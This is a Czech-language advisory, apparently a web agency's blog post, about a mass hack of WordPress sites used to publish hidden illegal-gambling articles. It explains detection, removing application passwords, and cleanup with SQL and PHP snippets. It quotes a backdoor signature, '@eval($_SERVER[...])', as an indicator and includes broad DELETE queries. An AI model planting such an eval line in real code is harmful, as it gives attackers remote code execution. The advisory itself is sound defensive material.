V posledních měsících došlo k rozsáhlému hacku minimálně stovek českých webů běžících na platformě WordPress. Útočníci na napadené weby umístili obsah propagující nelegální hazardní hry, což vedlo k tomu, že majitelé těchto webů nyní obdrželi upozornění od Ministerstva financí ČR s hrozbou vysokých pokut až do výše 50 milionů Kč.
Podle ministerstva přišlo na úřad oznámení s cca 80 weby odkazující na nelegální obsah a nepovolené hry, majitele těchto stránek tedy úředníci obeslali zmíněným mailem.
Jak hack probíhal
Útok probíhal podle našich analýza na více než 500 webech od března 2024 do května 2025. Hackeři využili zranitelností v zastaralých verzích WordPressu nebo jeho pluginů k získání přístupu databáze webu. Následně vytvořili nové uživatelské účty s podezřelými názvy jako:
- notestable
- articleuser
- main_panel
- blog_table
- cmspanel
Tyto účty byly použity k publikování článků propagujících nepovolené hazardní hry. Zvláště zákeřné je, že tyto články často nebyly v běžném přehledu viditelné nebo se nezobrazovaly v administraci, přestože byly veřejně dostupné na webu.

Útočníci používali několik různých metod, jako např.
- Publikovali články bez přiřazeného autora
- Nezařazovali články do žádné kategorie
- V některých případech náhodně vybrali jednoho z administrátorů a články publikovali pod jeho účtem
Pro zajištění trvalého přístupu útočníci také vytvářeli tzv. “hesla aplikací” pod existujícími uživatelskými účty. Tato funkce WordPressu jim umožnila zachovat si přístup i po změně hlavního hesla uživatelského účtu.

Jak poznat, že byl váš web napaden
Kromě mailového upozornění od Ministerstva financí můžete napadení odhalit těmito způsoby:
- V administraci WordPressu se objevují neznámí uživatelé (zkontrolujte sekci Uživatelé)
- Celkový počet článků neodpovídá tomu, co vidíte v přehledu
- Ve zdrojovém kódu vašeho webu se objevují podezřelé úryvky kódu jako např.
@eval($_SERVER['HTTP_6FFC899']);, což je typická signatura pro tzv. backdoor - V sekci uživatelského profilu existují hesla aplikací, která jste nevytvořili
- Články o hazardních hrách jsou viditelné veřejně, ale nejsou vidět v administraci

Postup řešení problému
Pokud jste obdrželi upozornění nebo máte podezření na napadení, postupujte následovně:
Krok 1: Zálohujte současný stav webu
Vytvořte zálohu celého webu včetně databáze. I když je web kompromitován, záloha vám umožní analyzovat problém a případně obnovit legitimní obsah.
Krok 2: Zkontrolujte a odstraňte hesla aplikací
Tento krok je kritický, protože i když změníte hlavní hesla uživatelů, útočníci mohou mít stále přístup přes hesla aplikací:
- Přihlaste se jako administrátor do WordPressu
- Projděte postupně všechny uživatelské účty (zejména ty s administrátorskými právy)
- U každého účtu klikněte na editaci profilu
- Přejděte na konec stránky, kde by měla být sekce “Hesla aplikací” (Application Passwords)
- Zkontrolujte, zda existují hesla aplikací, která jste sami nevytvořili
- Odstraňte všechna podezřelá hesla aplikací kliknutím na tlačítko “Reset” (Zrušit) vedle každého z nich
- Pro jistotu zvažte odstranění všech hesel aplikací
Pokud nemáte přístup k sekci hesel aplikací přes uživatelský profil, můžete je odstranit přes databázi:
- Přihlaste se do phpMyAdmin
- Najděte tabulku
wp_usermeta(nebo obdobnou, pokud máte jinu předponu, než wp_) - Vyhledejte záznamy, kde
meta_keymá hodnotuwp_application_passwords - Tyto záznamy odstraňte
Pro trvalé zabezpečení můžete funkci hesel aplikací vypnout přidáním následujícího kódu do souboru functions.php vaší šablony (za předpokladu, že používáte custom nebo child šablonu):
// Zakázání funkce hesel aplikací
add_filter('wp_is_application_passwords_available', '__return_false');
Krok 3: Odstranění nebezpečného obsahu
Problémové články odstraňte co nejdříve. Můžete použít některý z těchto způsobů:
Přes phpMyAdmin (přístup k databázi):
- Přihlaste se do phpMyAdmin
- Otevřete tabulku
wp_posts - Použijte SQL dotaz k identifikaci a odstranění podezřelých článků:
DELETE FROM wp_posts WHERE post_title LIKE '%casino%' OR post_title LIKE '%kasino%';
Případně odstraňte články bez autora:
DELETE FROM wp_posts WHERE post_author = 0 OR post_author IS NULL;
Alternativně můžete do souboru functions.php vaší aktivní šablony dočasně přidat kód, který odstraní podezřelé články. Například pro smazání všech článků od konkrétního autora (ID=5) – ID zjistíte z URL adresy v administraci, pokud prokliknete do profilu vytvořeného útočníkem. Hodí se to třeba v okamžiku, kdy sami sice na webu žádný blog nemáte a útočník využil váš profil k tvorbě článků. Pokud nějaké články máte, zazálohujte si je, nebo dočasně přeřaďte pod jiného uživatele, škodlivé články smažte pomocí níže uvedeného kódu a pak vrátíte články zpět “pod sebe”:
function smazat_prispevky_od_autora_5() {
// Kontrola, zda již byla funkce spuštěna
$byla_spustena = get_option('smazat_prispevky_od_autora_5_spusteno');
if ($byla_spustena) {
return;
}
// Argumenty pro vyhledání všech příspěvků typu "post" od autora s ID 5
$args = array(
'post_type' => 'post',
'posts_per_page' => -1,
'author' => 5,
'fields' => 'ids'
);
// Získání ID všech příspěvků
$prispevky = get_posts($args);
// Počítadlo smazaných příspěvků
$pocet_smazanych = 0;
// Smazání příspěvků
foreach ($prispevky as $id_prispevku) {
$vysledek = wp_delete_post($id_prispevku, true); // true pro úplné smazání
if ($vysledek) {
$pocet_smazanych++;
}
}
// Zaznamenání, že funkce již byla spuštěna
update_option('smazat_prispevky_od_autora_5_spusteno', true);
// Log o počtu smazaných příspěvků
error_log('Smazáno ' . $pocet_smazanych . ' příspěvků typu "post" od autora s ID 5.');
}
add_action('init', 'smazat_prispevky_od_autora_5');
Podobně můžete přímo v databázi:
DELETE FROM `wpss_posts` WHERE `post_author` = 5 AND `post_type` = 'post';
Nebo pro smazání všech článků bez přiřazené kategorie:
function smazat_prispevky_bez_kategorie() {
// Kontrola, zda již byla funkce spuštěna
$byla_spustena = get_option('smazat_prispevky_bez_kategorie_spusteno');
if ($byla_spustena) {
return;
}
// Argumenty pro vyhledání všech příspěvků typu "post"
$args = array(
'post_type' => 'post',
'posts_per_page' => -1,
'fields' => 'ids',
'tax_query' => array(
array(
'taxonomy' => 'category',
'operator' => 'NOT EXISTS'
)
)
);
// Získání ID všech příspěvků bez kategorie
$prispevky = get_posts($args);
// Počítadlo smazaných příspěvků
$pocet_smazanych = 0;
// Smazání příspěvků
foreach ($prispevky as $id_prispevku) {
$vysledek = wp_delete_post($id_prispevku, true);
if ($vysledek) {
$pocet_smazanych++;
}
}
// Zaznamenání, že funkce již byla spuštěna
update_option('smazat_prispevky_bez_kategorie_spusteno', true);
// Log o počtu smazaných příspěvků
error_log('Smazáno ' . $pocet_smazanych . ' příspěvků typu "post" bez kategorie.');
}
add_action('init', 'smazat_prispevky_bez_kategorie');
POZOR: Po jednom spuštění administrace tento kód ihned odstraňte z functions.php!
Krok 4: Aktualizujte WordPress na nejnovější verzi
Staré verze WordPressu jsou zranitelné vůči útokům. Aktualizujte na nejnovější verzi:
- Zálohujte web před aktualizací
- V administraci přejděte do sekce Aktualizace a proveďte aktualizaci jádra
- Aktualizujte všechny pluginy a šablony
Krok 5: Odstraňte neznámé uživatele a změňte hesla
- V administraci přejděte do sekce Uživatelé
- Odstraňte všechny podezřelé účty (notestable, articleuser, main_panel, blog_table, cmspanel atd.)
- Změňte hesla všech legitimních účtů, zejména administrátorských
- Zvažte vytvoření nového administrátorského účtu a odstranění původního
Krok 6: Prověřte zdrojové kódy a odstraňte backdoory
- Nainstalujte bezpečnostní plugin jako Wordfence
- Proveďte kompletní sken webu
- Vyhledejte a odstraňte podezřelé kusy kódu (např. funkce eval(), base64_decode())
- Zaměřte se zejména na soubory:
- wp-config.php
- functions.php
- index.php
- footer.php a header.php
- jakékoliv neznámé PHP soubory v kořenové složce
Krok 7: Vyčištění a reinstalace
V případě závažného napadení zvažte:
- Kompletní přeinstalaci WordPressu
- Odstranění všech pluginů a šablon s následnou čistou instalací pouze potřebných komponent
- Import legitimního obsahu ze zálohy (články, stránky, média)
- Instalaci pouze nezbytných a bezpečných pluginů z oficiálních zdrojů
Krok 8: Preventivní opatření
Po vyřešení problému:
- Pravidelně aktualizujte WordPress, šablony a pluginy nebo si najměte odborníky na aktualizace a správu WordPress.
- Používejte silná hesla a dvoufaktorovou autentizaci
- Omezte počet pokusů o přihlášení (Limit Login Attempts)
- Zakažte hesla aplikací, pokud je nepotřebujete
- Omezte přístup k administraci pouze z určitých IP adres
- Instalujte pouze nezbytné pluginy z důvěryhodných zdrojů, přebytečné smažte
- Pravidelně kontrolujte seznam uživatelů a publikovaný obsah
- Zvažte použití bezpečnostního pluginu (Wordfence, Sucuri)
- Implementujte pravidelné automatické zálohy
Po provedení všech těchto kroků byste měli mít web vyčištěný od škodlivého obsahu a lépe zabezpečený proti budoucím útokům. Nezapomeňte informovat Ministerstvo financí ČR o odstranění problémového obsahu před stanoveným termínem.
Tento typ útoku ukazuje, jak důležitá je pravidelná údržba a aktualizace webových stránek. Zanedbání bezpečnostních aktualizací může vést nejen k reputačním škodám, ale i k právním a finančním postihům. Zvláště nebezpečná je funkce hesel aplikací, která umožňuje útočníkům dlouhodobý přístup k vašemu webu i po změně hlavních hesel.